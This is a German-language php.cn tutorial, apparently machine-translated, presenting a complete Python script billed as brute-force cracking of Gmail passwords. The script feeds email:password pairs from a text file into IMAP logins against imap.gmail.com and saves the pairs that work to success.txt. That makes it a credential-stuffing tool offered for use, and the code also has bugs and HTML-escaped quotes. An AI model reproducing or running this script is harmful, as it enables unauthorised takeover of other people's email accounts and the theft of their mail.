Python-Implementierungsbeispiel zum Knacken des E-Mail-Kontokennworts

巴扎黑
Freigeben: 2017-09-07 09:52:19
Original
3248 Leute haben es durchsucht

In diesem Artikel wird hauptsächlich die Funktion von Python zum Implementieren des Online-Brute-Force-Knackens von E-Mail-Kontokennwörtern vorgestellt und die damit verbundenen Überprüfungs- und Knackvorgangsfähigkeiten von Python beim Lesen von TXT-Wörterbuchdateien für E-Mails in Form eines vollständigen Beispiels analysiert kann darauf verweisen

Das Beispiel in diesem Artikel beschreibt die Funktion von Python zum Implementieren des Online-Brute-Force-Knackens von E-Mail-Kontokennwörtern. Geben Sie es als Referenz an alle weiter. Die Details lauten wie folgt:

Das Dic-Wörterbuchformat ist wie folgt (mail.txt):


username@gmail.com:password
username@gmail.com:password
username@gmail.com:password
Nach dem Login kopieren

usw. Denken Sie daran, im UTF-8-Codierungsformat zu speichern.

wird im aktuellen Skriptverzeichnis abgelegt, oder Sie können es selbst definieren und ändern.

Unterstützt das SSL-https/imap-Protokoll.


# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
  Success_File = open('success.txt', 'a')
  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
  Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
  Fail_File = open('fail.txt', 'a')
  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
  Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
 strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
 strUserName, strPassWord = strAccountPwd.split(':', 1)
 return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
 global GLOBAL_WORKING_THREAD_MUTEX_LOCK
 global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
 if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
  print(&#39;POSITION---------&#39;, GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
  print(&#39;IMAP INDEX-------&#39;, IndexGmail)
  print(&#39;IMAP USERNAME----&#39;, GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
  try:
   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
  except GmailImap4.error :
   print(&#39;Logical errors - debug required&#39;)
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.abort :
   print(&#39;Service errors - close and retry&#39;)
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.readonly:
   print(&#39;Mailbox status changed to read only&#39;)
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  if (ResponseStatus[0] == &#39;OK&#39;):
   print(&#39;LOGIN SUCCESS&#39;)
   Write_Save_Success_Gmail_Jobs(IndexGmail)
   GmailImap4.logout()
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  else:
   GmailImap4.close()
   print(&#39;LOGIN FAIL&#39;)
   print(ResponseStatus)
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 else:
  return
# define global function
class Working_Zone_Thread(threading.Thread):
 m_IndexStart = 0
 m_IndexEnd = 0
 def __init__(self, numEnd):
  self.m_IndexEnd = numEnd
  threading.Thread.__init__(self)
 def run(self): # run process
  while True:
   if self.m_IndexStart < self.m_IndexEnd:
    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
    self.m_IndexStart = self.m_IndexStart + 1
   else:
    break
 def _delete(self):
  threading.Thread._delete(self)
  print(&#39;thread delete is : &#39;, self.getName())
# define read function
def Read_Send_Single_Func():
 IndexStart = 0
 print(&#39;--------read----star--&#39;)
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
 global GMAIL_BYTES_READED_TOTAL_SIZE
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
 File_Read = open(&#39;mail.txt&#39;, &#39;r&#39;, encoding=&#39;UTF-8&#39;)
 File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
 while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
  line = File_Read.readline()
  if line:
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
   CbBytes = line.__len__()
   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
   IndexStart = IndexStart + 1
  else:
   GLOBAL_READ_FINISH_STATUS_SUCCESS = True
   break
 print(&#39;gmail read num &#39;, IndexStart)
 File_Read.close()
 print(&#39;---------read----end--&#39;)
# main entry
if __name__ == &#39;__main__&#39;:
 print(&#39;Main Thread Start : &#39;)
 while True:
  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
   Read_Send_Single_Func()
   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
   wzt.start()
   wzt.join()
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
  else:
   print(&#39;data has run out : &#39;)
   break
 print(&#39;Main Thread End : &#39;)
Nach dem Login kopieren

Das obige ist der detaillierte Inhalt vonPython-Implementierungsbeispiel zum Knacken des E-Mail-Kontokennworts. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage
Über uns Haftungsausschluss Sitemap
Chinesische PHP-Website:Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!